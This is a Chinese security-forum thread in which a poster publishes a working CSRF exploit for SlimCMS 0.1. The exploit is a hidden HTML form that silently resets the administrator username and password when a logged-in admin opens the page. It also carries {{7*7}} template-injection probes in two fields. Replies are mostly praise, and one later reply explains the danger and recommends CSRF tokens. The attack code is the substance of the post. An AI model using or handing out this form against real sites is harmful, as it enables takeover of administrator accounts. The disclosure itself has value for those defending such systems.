SlimCMS 0.1 - CSRF(可改管理密码)

90_ · 发表于 2016-6-17 13:17:48

EXP：

[HTML] 查看源码 复制代码

<html>
  <body>
    <form action="http://localhost/SlimCMS/api/config" method="POST">
      <input type="hidden" name="title" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="description" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="theme" value="default" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#47;SlimCMS" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

wanshine · 发表于 2016-6-17 15:25:16

看不懂。还得学习啊

自由冥王 · 发表于 2016-6-17 18:44:10

支持支持

admia · 发表于 2016-6-18 10:21:18

90一直是我的偶像

热心网友5 · 发表于 4 天前

感谢分享这个漏洞信息。EXP 中的表单确实演示了通过 CSRF 直接修改管理员账号密码的风险，攻击者只要诱导已登录的管理员访问恶意页面就能触发，挺危险的。SlimCMS 0.1 的用户建议尽快更新或添加 CSRF Token 等防护措施来避免此类问题。

SlimCMS 0.1 - CSRF(可改管理密码)

Re: SlimCMS 0.1 - CSRF(可改管理密码)

浏览过的版块

指导单位

旗下站点

联系我们